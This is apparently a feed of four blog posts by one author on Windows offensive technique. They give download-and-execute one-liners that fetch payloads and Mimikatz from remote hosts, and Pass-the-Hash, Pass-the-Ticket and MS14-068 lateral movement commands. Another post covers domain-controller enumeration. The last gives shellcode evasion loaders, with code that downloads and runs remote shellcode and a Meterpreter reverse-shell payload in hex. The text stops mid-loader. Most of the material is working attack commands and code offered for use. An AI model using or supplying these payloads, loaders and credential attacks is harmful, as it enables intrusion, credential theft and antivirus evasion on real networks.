DEV Community: Excalibra

A Comprehensive Compendium of Windows Download and Execution Commands

Excalibra — Wed, 24 Jun 2026 11:41:24 +0000

Article Abstract: This article presents a systematic compilation of methods for downloading and executing files on Windows systems using various built-in commands, including bitsadmin, PowerShell, mshta, and others. These techniques are applicable to Windows 7 and later versions.

1. bitsadmin Command (Windows 7 and Above)
2. PowerShell Command Download and Execution (Windows 7 and Above)
3. mshta Command Download and Execution
4. rundll32 Command Download and Execution
5. regasm Command from .NET Framework
6. CMD Remote Command Download
7. regsvr32 Command Download and Execution
8. certutil Command Download and Execution
9. MSBuild Command from .NET Framework
10. odbcconf Command Download and Execution
11. cscript Script Remote Command Download and Execution
12. pubprn.vbs Download and Execution Command
13. Native Windows copy Command
14. IEXPLORE.EXE Command Download and Execution (Requires IE 0-day)
15. IEExec Command Download and Execution
16. msiexec Command Download and Execution
17. GreatSCT Download and Execution Project

1. bitsadmin Command (Windows 7 and Above)

The bitsadmin utility can only download files to a specified path on the local system.

bitsadmin /transfer myDownLoadJob /download /priority normal "http://img5.cache.netease.com/photo/0001/2013-03-28/8R1BK3QO3R710001.jpg" "d:\abc.jpg"

bitsadmin /transfer d90f <http://site.com/a> %APPDATA%\d90f.exe&%APPDATA%\d90f.exe&del %APPDATA%\d90f.exe

2. PowerShell Command Download and Execution (Windows 7 and Above)

PowerShell provides powerful capabilities for downloading and executing scripts and binaries directly from remote sources.

powershell IEX (New-Object Net.WebClient).DownloadString('<https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1>'); Invoke-Mimikatz

powershell -exec bypass -f \\webdavserver\folder\payload.ps1

powershell (new-object System.Net.WebClient).DownloadFile( 'http://192.168.168.183/1.exe','C:\1111111111111.exe')

powershell -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://img5.cache.netease.com/photo/0001/2013-03-28/8R1BK3QO3R710001.jpg','d:\\1.jpg')

3. mshta Command Download and Execution

The mshta command executes HTML Application (HTA) files, which can contain VBScript or JScript that performs download and execution.

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

mshta http://webserver/payload.hta

mshta \\webdavserver\folder\payload.hta

Sample payload.hta:

<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>

4. rundll32 Command Download and Execution

The rundll32 utility can execute functions exported from DLLs, including those hosted on remote WebDAV shares.

rundll32 \\webdavserver\folder\payload.dll,entrypoint

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

Reference: https://github.com/3gstudent/Javascript-Backdoor

5. regasm Command from .NET Framework

The regasm.exe tool, part of the .NET Framework, can be used to execute managed DLLs from remote locations.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

6. CMD Remote Command Download

The Windows Command Prompt can directly read and execute commands from a remote batch file.

cmd.exe /k < \\webdavserver\folder\batchfile.txt

7. regsvr32 Command Download and Execution

The regsvr32 utility can register and execute COM objects from remote scriptlet files.

regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll

regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

regsvr32 /u /s /i:<http://site.com/js.png> scrobj.dll

Sample js.png (Scriptlet):

<?XML version="1.0"?>
<scriptlet>
<registration
    progid="ShortJSRAT"
    classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
    <!-- Learn from Casey Smith @subTee -->
    <script language="JScript">
        <![CDATA[
            ps = "cmd.exe /c calc.exe";
            new ActiveXObject("WScript.Shell").Run(ps,0,true);
        ]]>
    </script>
</registration>
</scriptlet>

8. certutil Command Download and Execution

The certutil utility, primarily used for certificate management, can also download files and decode Base64-encoded content.

certutil -urlcache -split -f http://webserver/payload payload

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

certutil -urlcache -split -f http://site.com/a a.exe && a.exe && del a.exe && certutil -urlcache -split -f http://192.168.254.102:80/a delete

9. MSBuild Command from .NET Framework

The MSBuild tool, part of the .NET Framework, can execute tasks defined in XML project files, enabling remote code execution.

cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

10. odbcconf Command Download and Execution

The odbcconf utility can be used to register DLLs remotely via its regsvr command.

odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

11. cscript Script Remote Command Download and Execution

The cscript command executes VBScript or JScript scripts, which can be hosted remotely.

cscript //E:jscript \\webdavserver\folder\payload.txt

Sample downfile.vbs:

' Set your settings
strFileURL = "http://www.it1.net/images/it1_logo2.jpg"
strHDLocation = "c:\logo.jpg"

' Fetch the file
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")

objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then
    Set objADOStream = CreateObject("ADODB.Stream")
    objADOStream.Open
    objADOStream.Type = 1 'adTypeBinary

    objADOStream.Write objXMLHTTP.ResponseBody
    objADOStream.Position = 0 'Set the stream position to the start

    Set objFSO = Createobject("Scripting.FileSystemObject")
    If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
    Set objFSO = Nothing

    objADOStream.SaveToFile strHDLocation
    objADOStream.Close
    Set objADOStream = Nothing
End if

Set objXMLHTTP = Nothing

Execution Command:

cscript downfile.vbs

12. pubprn.vbs Download and Execution Command

The pubprn.vbs script, part of Windows printing administration, can execute remote scriptlet files.

cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:<https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct>

13. Native Windows copy Command

The built-in copy and xcopy commands can copy files from remote SMB shares.

copy \\x.x.x.x\xx\poc.exe
xcopy d:\test.exe \\x.x.x.x\test.exe

14. IEXPLORE.EXE Command Download and Execution (Requires IE 0-day)

Internet Explorer can be launched from the command line to access a remote URL, potentially triggering a vulnerability.

"C:\Program Files\Internet Explorer\IEXPLORE.EXE" <http://site.com/exp>

15. IEExec Command Download and Execution

IEExec.exe, part of the .NET Framework, can execute managed code from remote locations.

C:\Windows\Microsoft.NET\Framework\v2.0.50727> caspol -s off
C:\Windows\Microsoft.NET\Framework\v2.0.50727> IEExec <http://site.com/files/test64.exe>

Reference: https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/

16. msiexec Command Download and Execution

The msiexec installer can execute MSI packages hosted on remote servers.

msiexec /q /i <http://site.com/payloads/calc.png>

17. GreatSCT Download and Execution Project

GreatSCT is a project that provides various techniques for bypassing application whitelisting and executing payloads.

Reference: https://github.com/GreatSCT

Domain Lateral Movement: PTH, PTK, and PTT Hash-Based Credential Transfer

Excalibra — Wed, 24 Jun 2026 11:09:24 +0000

Abstract: This article delineates the operational workflow of the Kerberos protocol within a domain environment, including the process by which a client obtains a Ticket-Granting Ticket (TGT) and its significance in intranet security. It critically examines three lateral movement techniques—Pass the Hash (PTH), Pass the Ticket (PTT), and Pass the Key (PTK)—and evaluates the ramifications of NTLM and LM Hash authentication on Windows systems. The discussion extends to the security patch KB2871997, designed to mitigate PTH attacks. Through case studies, the utilisation of the Mimikatz tool for credential extraction and injection is demonstrated, alongside an analysis of the MS14-068 vulnerability and the concepts of Golden and Silver Tickets. The practical application of the Ladon intranet penetration testing framework for information gathering and lateral movement is also considered.

The Kerberos Protocol Workflow

The Kerberos protocol operates within a domain context according to the following simplified procedure:

The client machine computes an NTLM hash of the user's plaintext password and encrypts it with a timestamp, utilising the krbtgt password hash as the key. This ciphertext is transmitted to the Key Distribution Centre (KDC), or domain controller. The KDC authenticates the user and subsequently generates a Ticket-Granting Ticket (TGT). The TGT's cryptographic signature is returned to the client; within the Kerberos framework, the TGT data can only be deciphered by the domain user krbtgt.
Subsequently, the client presents the TGT to the KDC to request a Ticket-Granting Service (TGS) ticket. The KDC validates the submitted TGT. Upon successful verification, it encrypts the target service account's NTLM hash and the TGT, returning the resultant ciphertext to the client.

The following definitions distinguish the three credential transfer techniques:

PTH (Pass the Hash): A penetration testing method conducted using the value of the LM or NTLM hash.
PTT (Pass the Ticket): A penetration test performed by utilising the TGT credentials.
PTK (Pass the Key): A penetration test executed using the ekeys AES256 hash (this key material can be obtained via the sekurlsa::ekeys command within Mimikatz).

On Authentication Hashes:
Windows operating systems utilise two primary hashing algorithms: LM Hash and NTLM Hash. For personal systems running Windows Vista or later, and server systems from Windows Server 2003 onwards, the standard authentication method is exclusively NTLM Hash.

A ticket may be conceptualised as analogous to a cookie deposited upon login to a website, or a persistent credential established between a computer and a remote entity. This ticket can subsequently be reused to re-establish a connection, functioning precisely like a session cookie. While PTH and PTK utilise identical connection protocols, PTT operates distinctly via the Kerberos protocol.

PTH Mechanism:
PTH constitutes a classic attack vector in intranet penetration. Its operational principle permits an attacker to remotely access a host or service by leveraging the LM Hash and NTLM Hash values, without necessitating the corresponding plaintext password. In essence, it suffices to acquire the encrypted hash value to mount an attack; the plaintext password is not required.

The attack landscape is nuanced. If NTLM authentication is disabled, the tool PsExec cannot establish a remote connection using the obtained NTLM hash; however, Mimikatz can still facilitate a successful attack. On specific operating systems—8.1/2012r2, and upon installation of Win 7/2008r2/8/2012 with patch KB2871997—AES keys may substitute for the NT hash to execute a PTK attack.

Summary: Impact of the KB2871997 Patch (systeminfo can verify patch installation)

PTH: On unpatched systems, any user can connect. Post-patch, only the built-in Administrator account connection is permitted.
PTK: The patch enables connections using the AES256 key for any user.
Refer to: Does KB2871997 truly defend against PTH attacks? - FreeBuf Cybersecurity Industry Portal

The Nature of PTT Attacks:
The PTT attack modality diverges from simple NTLM authentication. It is an attack leveraging the Kerberos protocol. Three prevalent attack methodologies are introduced here: the MS14-068 exploit, Golden Ticket, and Silver Ticket. Succinctly, these methods function by injecting a forged yet legitimate ticket into system memory to achieve a connection.

MS14-068 Vulnerability: An elevation of privilege vulnerability.
Golden Ticket & Silver Ticket: These are categorised as persistence and privilege maintenance techniques.
The MS14-068 vulnerability is hazardous because it enables any ordinary domain user to elevate their privileges to domain administrator. Microsoft's corrective patch is KB3011780.

Technique Summaries

Domain Lateral Movement via PTH Transfer - Mimikatz
Domain Lateral Movement via PTK Transfer - Mimikatz
Domain Lateral Movement via PTT Transfer - MS14-068 & Kekeo & Local Tickets
Domestic Ladon Intranet Penetration Framework Testing - Information Gathering, Connectivity, etc.

Case Study 1: Domain Lateral Movement via PTH Transfer - Mimikatz

This method, Pass the Hash, operates by discovering the password hash value (typically the NTLM hash) associated with an account. In a domain environment, where most computers are logged onto by domain users, a significant number of machines share an identical local administrator password set during installation. Consequently, if the local administrator credentials are uniform, an attacker can utilise a hash passing technique to log into other machines across the intranet. The critical advantage for the attacker is circumventing the computationally expensive and time-consuming process of cracking the password hash to reveal the plaintext.

Mimikatz serves as the instrumental tool for PTH, functioning not only as a credential harvester and plaintext password extractor but also as an attack platform.

PTH NTLM Transfer Commands:
For unpatched workgroup and domain connections:
sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7 (Assuming knowledge of the domain controller hash)
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad458a5695dc997aa02d455c (workgroup designates a local user connection)
sekurlsa::pth /user:boss /domain:god /ntlm:ccef208c6485269c20db2cad217334fe7

Target example: \OWA2010CN-God.god.org (Domain Controller)

Experimental Demonstration:
Execute the following sequence within an elevated PowerShell console on a 2008R2 x64 web server:

Command sequence:
privilege::debug
sekurlsa::logonPasswords (to extract plaintext passwords)
sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7 (Mimikatz will spawn a new command prompt window upon execution)
In the newly spawned window, execute: dir \\192.168.3.21\c$ (if the IP address is not resolvable, substitute the target's hostname)

Case Study 2: Domain Lateral Movement via PTK Transfer - Mimikatz

This method utilises the AES256 key.

Commands for Patched Workgroup and Domain Connections:
sekurlsa::ekeys # retrieves the AES key material
sekurlsa::pth /user:mary /domain:god /aes256:d7c110753a2f7f240e5b2701dc1d16a16e40af3c5cdf814781c4b

Crucially, for a PTK attack to succeed for a non-administrator user, the target system must have the KB2871997 patch installed.

Case Study 3: Domain Lateral Movement via PTT Transfer - MS14-068 & Kekeo & Local Tickets

First Method: Exploiting the MS14-068 Vulnerability
This technique enables an ordinary domain user to directly obtain domain controller system privileges.

Procedure for MS14-068 via PowerShell:

Ascertain the current Security Identifier (SID): whoami /user
Credential Management: mimikatz # kerberos::purge // Purges all existing credentials on the current machine, as lingering domain member certificates can interfere with ticket forgery. mimikatz # kerberos::list // Inspect current machine certificates. mimikatz # kerberos::ptc <ticket_filename> // Inject a generated ticket into memory.
Generate TGT Data via MS14-068: ms14-068.exe -u <DomainMember>@<domain> -s <sid> -d <domain_controller_address> -p <domain_member_password> Example: MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-21573346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
Inject the Forged Ticket into Memory: mimikatz.exe "kerberos::ptc TGT_mary@god.org.ccache" exit
Verify Credential Cache: klist (Displays current connections; use klist purge to delete tickets).
Leverage the Access: dir \\192.168.3.21\c$ (or net use for connection; if IP fails, use the hostname).

The principle of this ticket passing attack lies in generating a syntactically correct connection request and importing it into memory via Mimikatz, thereby obviating the need for a password during the connection phase.

Second Method: Utilising the Kekeo Tool

Generate the Ticket: kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a5dc997aa02d45c"
Import the Ticket: kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
Verify Credential Cache: klist
Establish Connection: dir \\192.168.3.21\c$

Third Method: Exploiting Local Tickets (Requires Local Administrator Privileges)
This method essentially involves the harvesting and reuse of valid, pre-existing session cookies. The initial step is to use Mimikatz to export local tickets and subsequently import them into memory.

Command Sequence: sekurlsa::tickets /export kerberos::ptt xxxxxxxxx.xxx.kirbi (This action retrieves the previously stored "cookie" and tests its validity; credentials remain valid for a 10-hour window).

Summary: PTT delivery does not mandate local administrator privileges. Connections should be established using the hostname. The technique is predicated upon known vulnerabilities, dedicated tools, or the harvesting of locally cached tickets.

Case Study 4: The Ladon Intranet Penetration Framework - Testing and Validation

This section covers the practical application of Ladon for Information Gathering, Protocol Scanning, Vulnerability Probing, and Credential Passing Attacks.

Ladon functions as a large-scale intranet penetration scanner, often used in conjunction with Cobalt Strike. Ladon version 8.9 incorporates 120 built-in modules for tasks including information gathering, live host detection, port scanning, service identification, password spraying, vulnerability detection, and vulnerability exploitation. Vulnerability detection encompasses MS17-010 (EternalBlue), SMBGhost, WebLogic, ActiveMQ, Tomcat, and Struts2. Password spraying targets databases (MySQL, Oracle, MSSQL), remote access protocols (FTP, SSH for Linux, VNC), and Windows services (IPC, WMI, SMB, NetBIOS, LDAP, SmbHash, WmiHash, WinRM). Remote command execution supports multiple methods (smbexec, wmiexec, psexec, atexec, sshtexec) and exploitation frameworks (e.g., sshell, Webshell). Version X-4.0 and subsequent iterations are discussed.

Resources:
- Ladon Repository: https://github.com/k8gege/Ladon
- Kekeo Releases: https://github.com/gentilkiwi/kekeo/releases
- MS14-068 Exploit: https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

Rapid Identification of Domain Administrators and Domain Controllers in Internal Network Penetration Testing

Excalibra — Wed, 24 Jun 2026 09:13:56 +0000

In the process of internal network penetration testing, the ability to rapidly identify Domain Administrators and Domain Controllers is of paramount importance. Several commonly employed methods are introduced below.

Locating Domain Administrators

Command Line Identification

The following command can be executed in the command prompt to query domain administrator accounts:

net group "Domain Admins" /domain            //Query Domain Administrators

Figure 1: Output of the net group command listing Domain Administrators.

Tool-Based Identification

Several specialised tools can facilitate the enumeration of Domain Administrator accounts and their logged-on locations.

PSLoggedon.exe

This utility identifies users logged on to a system by examining the registry key HKEY_USERS and utilising the NetSessionEnum API. Note that certain functionalities of this tool require elevated, administrator-level privileges.

Download Link: https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon

Parameter	Description
`-`	Displays supported options and units of measurement for output values.
`-l`	Shows only local logons, excluding local and network resource logons.
`-x`	Does not display logon times.
`\computername`	Specifies the name of the computer for which logon information is to be listed.
`username`	Specifies a user name to search for across the network for machines where that user is logged on.

To locate a specific user, such as 'Administrator', the tool is invoked as follows:

PsLoggedon.exe Administrator

Figure 2: Enumeration results showing machines where the Administrator user has logged on.

To query a specific machine, the command is:

PsLoggedon.exe \AD-server

Figure 3: Output displaying users currently logged on to the machine AD-server.

PVefindaduser.exe

This tool is designed to ascertain the logon locations of Active Directory users, enumerate domain users, and identify users logged on to specific computers, including local users, those connected via RDP, and accounts used to run services and scheduled tasks. This tool also requires administrator privileges.

Download Link: https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn

Parameter	Description
`-h`	Displays help information.
`-u`	Checks if a newer version of the programme is available.
`-current ["username"]`	Displays the user currently logged on to each PC within the domain. If a username is specified in quotation marks, it only displays PCs where that particular user is logged on.
`-noping`	Prevents the tool from pinging target computers before attempting to enumerate user logons.
`-target`	An optional parameter for specifying a comma-separated list of hostnames to query. If omitted, all hosts in the current domain are queried. Results are output to a `report.csv` file.

Executing the command pvefinaduser.exe -current will display all users currently logged on to all machines within the domain.

Figure 4: Console output of PVefindaduser.exe showing current logon sessions across the domain

This operation generates a report.csv file on the target machine, which can be retrieved for subsequent analysis.

Figure 5: The contents of the generated report.csv file, detailing user logon locations.

PowerView.ps1

This PowerShell script is a component of the PowerSploit toolkit and serves as a robust instrument for gathering domain information. A suite of cmdlets is provided, including Get-NetUser, Get-NetDomainController, and Invoke-UserHunter, which specifically aids in identifying the computers to which domain users are logged on and whether they possess local administrator privileges.

Download Link: https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView

To locate Domain Administrators using PowerView, one may bypass the execution policy and invoke the script as demonstrated below:

powershell.exe -exec bypass -Command "& {Import-Module C:\Users\win7\Desktop\tool\PowerView.ps1; Invoke-UserEvenHunter}"

Figure 6: Output from the Invoke-UserEvenHunter function in PowerView, identifying logged-on domain users.

Locating Domain Controllers

Command Line Identification

A Domain Controller can be identified by querying the relevant domain group with the command:

net group "Domain controllers" /Domain        //View Domain Controllers

Figure 7: Results of the 'net group' command, showing the Domain Controller computer account.

Alternatively, the net time command can be utilised to reveal the Domain Controller serving the logon server role:

net time /do

Figure 8: Output showing the domain time, which implicitly reveals the Domain Controller's hostname.

DNS Record Enumeration

Should the local machine's configured DNS server be a domain-integrated DNS server, querying specific service location (SRV) records can identify Domain Controllers.

nslookup -type=all _ldap._tcp.dc._msdcs.tubai.com

Figure 9: Nslookup query results showing SRV records that point to Domain Controllers.

Port Probing

Domain Controllers typically expose a characteristic set of ports. Port 389 is the default port for the Lightweight Directory Access Protocol (LDAP), port 636 is for LDAP over SSL/TLS (LDAPS), and port 53 is the standard port for the Domain Name System (DNS) service. A targeted scan for hosts within the internal network range that have these specific ports open can reveal potential Domain Controllers.

A direct probe of the identified Domain Controller's IP address on these key ports confirms its role.

Figure 10: A port scan confirming that ports 53, 389, and 636 are open on a Domain Controller.

SPN Scanning

Service Principal Name (SPN) scanning is a stealthier alternative to conventional TCP or UDP port scanning, as it utilises standard Kerberos authentication requests. Most Windows installations include the native setspn.exe utility, which does not require administrative rights to perform queries.

The following command, executed from a domain-joined machine, can identify Domain Controllers by their registered SPNs:

setspn -T tubai.com -Q */*

Within the scan results, Domain Controllers can be distinguished by canonical names containing the string OU=Domain Controllers, such as CN=AD-SERVER,OU=Domain Controllers,DC=tubai,DC=com.

Figure 11: The output of an SPN scan, with the Domain Controller's service account highlighted.

Summary

Numerous methods exist for identifying Domain Administrators and Domain Controllers; the techniques described herein represent only the most frequently employed. During routine internal network penetration tests, it is a cardinal principle to prioritise techniques that generate minimal detectable activity.

A Summary of Shellcode Evasion Techniques

Excalibra — Wed, 24 Jun 2026 06:51:10 +0000

Shellcode Evasion Techniques: A Practical Guide

Introduction

I aim to elucidate shellcode evasion techniques in an accessible, straightforward manner, using plain language and practical examples. It is my hope that fellow penetration testers with a background in web application security will also be able to implement these evasion methods effectively.

In this article, I have categorised shellcode evasion techniques into two primary classifications: "Separation" and "Obfuscation". These techniques target distinct detection methodologies employed by security solutions, namely signature-based detection, behavioural analysis, and cloud-based heuristic scanning.

Please note that my expertise is limited; should any errors be identified, I welcome corrections and constructive feedback.

0x01 Shellcode "Separation" Evasion

Let us first examine the conventional C/C++ loading methods commonly utilised for shellcode execution.

Typical approaches include function pointer execution, inline assembly instructions, pseudo-instructions, and similar techniques.

Figure 1: Traditional shellcode loading example showing inline shellcode within the executable.

However, this approach—where the shellcode resides within the same executable file—renders the resulting binary highly susceptible to detection by antivirus solutions.

Figure 2: AV detection results for executables with embedded shellcode

Consequently, the prevailing philosophy behind separation-based evasion is to decouple the shellcode from the loader program itself.

Let us examine a common separation-based loading implementation using C++ as an illustrative example:

A typical implementation employs memory allocation functions such as VirtualAlloc to execute shellcode:

#include "stdafx.h"
#include "windows.h"

using namespace std;
int main(int argc, char **argv)
{
    unsigned char buf[] =
        "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
        "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
        // ... shellcode truncated for brevity ...
        "\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
    void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();
    return 0;
}

Figure 3: Standard shellcode execution flow using VirtualAlloc

To achieve true separation, we can retrieve the shellcode from external sources rather than embedding it statically within the binary. This can be accomplished through various means, such as extracting shellcode from text files or downloading it from remote servers.

The following example demonstrates retrieving shellcode via an HTTP request using the WinHTTP API, storing it in a memory buffer, and subsequently allocating executable memory for execution:

#include "stdafx.h"
#include <string>
#include <iostream>
#include <windows.h>
#include <winhttp.h>
#pragma comment(lib,"winhttp.lib")
#pragma comment(lib,"user32.lib")
using namespace std;
void main()
{
    DWORD dwSize = 0;
    DWORD dwDownloaded = 0;
    LPSTR pszOutBuffer = NULL;
    HINTERNET  hSession = NULL,
        hConnect = NULL,
        hRequest = NULL;
    BOOL  bResults = FALSE;
    hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    if (hSession)
    {
        hConnect = WinHttpConnect(hSession, L"127.0.0.1", INTERNET_DEFAULT_HTTP_PORT, 0);
    }

    if (hConnect)
    {
        hRequest = WinHttpOpenRequest(hConnect, L"POST", L"qing.txt", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
    }
    LPCWSTR header = L"Content-type: application/x-www-form-urlencoded/r/n";
    SIZE_T len = lstrlenW(header);
    WinHttpAddRequestHeaders(hRequest, header, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);
    if (hRequest)
    {
        std::string data = "name=host&sign=xx11sad";
        const void *ss = (const char *)data.c_str();
        bResults = WinHttpSendRequest(hRequest, 0, 0, const_cast<void *>(ss), data.length(), data.length(), 0);
    }
    if (bResults)
    {
        bResults = WinHttpReceiveResponse(hRequest, NULL);
    }
    if (bResults)
    {
        do
        {
            // Check for available data.
            dwSize = 0;
            if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
            {
                printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());
                break;
            }

            if (!dwSize)
                break;

            pszOutBuffer = new char[dwSize + 1];

            if (!pszOutBuffer)
            {
                printf("Out of memory\n");
                break;
            }

            ZeroMemory(pszOutBuffer, dwSize + 1);

            if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
            {
                printf("Error %u in WinHttpReadData.\n", GetLastError());
            }
            else
            {
                printf("ok");
            }
            int code_length = strlen(pszOutBuffer);
            char* ShellCode = (char*)calloc(code_length  / 2 , sizeof(unsigned char));

            for (size_t count = 0; count < code_length / 2; count++){
                sscanf(pszOutBuffer, "%2hhx", &ShellCode[count]);
                pszOutBuffer += 2;
            }
            printf("%s", ShellCode);
            void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            memcpy(exec, ShellCode, sizeof ShellCode);
            ((void(*)())exec)();
            delete[] pszOutBuffer;
            if (!dwDownloaded)
                break;
        } while (dwSize > 0);
    }
    if (hRequest) WinHttpCloseHandle(hRequest);
    if (hConnect) WinHttpCloseHandle(hConnect);
    if (hSession) WinHttpCloseHandle(hSession);
    system("pause");
}

Figure 4: HTTP-based shellcode retrieval implementation

Examining the detection results: after removing the embedded shellcode, Antivirus no longer flags the executable.

Figure 5: Detection results after shellcode separation

Numerous similar remote-loading techniques exist, such as PowerShell in-memory loading—a method with which many practitioners are undoubtedly familiar.

For instance, PowerShell can be used to remotely load Mimikatz for credential extraction:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz >> c:\1.txt

Figure 6: PowerShell remote loading example

While many such techniques are widely used, certain in-memory loading methods are still intercepted by some antivirus solutions. We shall address this issue later in the article.

At this juncture, the underlying principle of language-based loaders should be self-evident. Nonetheless, I shall offer an explanation, drawing upon my colleague's analogy:

Shellcode is analogous to water; a loader serves as the vessel that contains it. Just as water must be poured into a cup before it can be consumed, shellcode must be loaded by a loader before it can be executed.

A) Loaders for Executing Shellcode

SSI (Shellcode String Injection):

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.142 LPORT=4444 -f c > msf.txt
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of c file: 1457 bytes
cat msf.txt|grep -v unsigned|sed "s/\"\\\x//g"|sed "s/\\\x//g"|sed "s/\"//g"|sed ':a;N;$!ba;s/\n//g'|sed "s/;//g"

fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c77260789e8ffd0b89001000029c454506829806b00ffd56a0a68c0a8ae84680200115c89e6505050504050405068ea0fdfe0ffd5976a1056576899a57461ffd585c0740aff4e0875ece8670000006a006a0456576802d9c85fffd583f8007e368b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007d285868004000006a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c240f8570ffffffe99bffffff01c329c675c1c3bbf0b5a2566a0053ffd5

Figure 7: MSFVenom shellcode generation output

Figure 8: SSI loader execution example

Shellcode Launcher:

Figure 9: Shellcode Launcher tool interface

C# Loader:

using System;
using System.Runtime.InteropServices;
namespace TCPMeterpreterProcess
{
    class Program
    {
        static void Main(string[] args)
        {
            // native function's compiled code
            // generated with metasploit
            byte[] shellcode = new byte[333] {

            };
            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
            MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            // prepare data
            IntPtr pinfo = IntPtr.Zero;
            // execute native code
            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            }
                    private static UInt32 MEM_COMMIT = 0x1000;
            private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
            [DllImport("kernel32")]
                    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
            [DllImport("kernel32")]
                    private static extern bool VirtualFree(IntPtr lpAddress,
            UInt32 dwSize, UInt32 dwFreeType);
            [DllImport("kernel32")]
                    private static extern IntPtr CreateThread(
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId
            );
            [DllImport("kernel32")]
                    private static extern bool CloseHandle(IntPtr handle);
            [DllImport("kernel32")]
                    private static extern UInt32 WaitForSingleObject(
            IntPtr hHandle,
            UInt32 dwMilliseconds
            );
            [DllImport("kernel32")]
                    private static extern IntPtr GetModuleHandle(
            string moduleName
            );
            [DllImport("kernel32")]
                    private static extern UInt32 GetProcAddress(
            IntPtr hModule,
            string procName
            );
            [DllImport("kernel32")]
                    private static extern UInt32 LoadLibrary(
            string lpFileName
            );
            [DllImport("kernel32")]
                    private static extern UInt32 GetLastError();
      }
}

Python Loader:

import base64,sys;
import ctypes

whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
    ctypes.windll.user32.ShowWindow(whnd, 0)
    ctypes.windll.kernel32.CloseHandle(whnd)

